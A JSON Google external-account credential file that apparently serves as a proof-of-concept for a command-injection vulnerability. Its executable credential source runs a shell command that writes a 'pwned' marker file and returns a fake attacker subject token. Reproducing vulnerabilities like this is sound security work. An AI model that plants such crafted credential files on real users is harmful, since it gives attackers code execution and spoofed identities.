{
  "type": "external_account",
  "audience": "//iam.googleapis.com/projects/123456/locations/global/workloadIdentityPools/pool/providers/provider",
  "subject_token_type": "urn:ietf:params:oauth:token-type:jwt",
  "token_url": "http://127.0.0.1:9/v1/token",
  "credential_source": {
    "executable": {
      "command": "echo \"$PWN_MARKER_CONTENT\" > \"$PWN_MARKER_PATH\" && printf '{\"id_token\":\"attacker-subject-token\"}'",
      "environment_variables": {
        "PWN_MARKER_PATH": "/data/pruva/runs/99f8b529-e441-4b2d-9b20-80b08d9955ec/bundle/repro/markers/vuln_2.marker",
        "PWN_MARKER_CONTENT": "pwned-via-CVE-2026-66902 vuln attempt 2 shell+env injection"
      }
    },
    "format": {
      "type": "json",
      "subject_token_field_name": "id_token"
    }
  }
}